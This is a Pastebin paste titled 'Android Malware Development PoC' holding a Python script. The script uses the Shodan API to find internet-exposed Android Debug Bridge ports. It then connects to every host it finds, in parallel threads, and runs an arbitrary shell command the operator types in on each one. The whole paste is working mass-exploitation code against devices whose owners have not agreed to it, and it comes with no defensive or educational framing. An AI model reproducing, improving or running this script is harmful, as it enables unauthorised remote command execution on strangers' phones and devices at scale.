Advertisement
Sweetening

Android Malware Development PoC

Sep 7th, 2024
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.02 KB | None | 0 0
  1. Requirements = pip install adb-shell shodan colorama
  2.  
  3.  
  4. import threading
  5. from time import sleep
  6. from shodan import Shodan
  7. from colorama import Fore
  8. from adb_shell.adb_device import AdbDeviceTcp
  9. from adb_shell.auth.sign_pythonrsa import PythonRSASigner
  10.  
  11. # Replace with your actual Shodan API key
  12. api = Shodan('YOUR_SHODAN_API_KEY')
  13. payload = input('Enter the command payload to execute: ')
  14.  
  15. def adb_connection(host, port, payload):
  16. try:
  17. print(f'{Fore.GREEN}[ CONNECTING ]{Fore.MAGENTA} {host}{Fore.GREEN}:{Fore.MAGENTA}{port}\n')
  18.  
  19. # Create an ADB TCP connection to the device
  20. device = AdbDeviceTcp(host=host, port=port, default_transport_timeout_s=9)
  21. device.connect(auth_timeout_s=0.5)
  22.  
  23. # Send the shell command to the connected device
  24. output = device.shell(command=str(payload))
  25.  
  26. print(f'{Fore.CYAN}[ SUCCESS ] Output from {host}:{port}\n{output}\n')
  27.  
  28. # Disconnect after execution
  29. device.close()
  30. except Exception as e:
  31. print(f'{Fore.RED}[ ERROR ] Could not connect to {host}:{port}\n{Fore.YELLOW}Reason: {e}\n')
  32.  
  33. def search_and_execute(payload):
  34. try:
  35. # Search for devices with open ADB ports (Android Debug Bridge)
  36. for result in api.search_cursor('"Android Debug Bridge"'):
  37. try:
  38. host = result['ip_str'].rstrip()
  39. port = result['port']
  40.  
  41. # Start a new thread for each device connection
  42. threading.Thread(target=adb_connection, args=(host, port, payload)).start()
  43.  
  44. # Add a small delay to prevent overwhelming threads
  45. sleep(0.5)
  46. except Exception as ex:
  47. print(f'{Fore.RED}[ ERROR ] Issue while processing {host}:{port} - {ex}\n')
  48. except Exception as e:
  49. print(f'{Fore.RED}[ ERROR ] Shodan API issue: {e}')
  50.  
  51. # Start the main function to search for devices and execute payload
  52. search_and_execute(payload)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement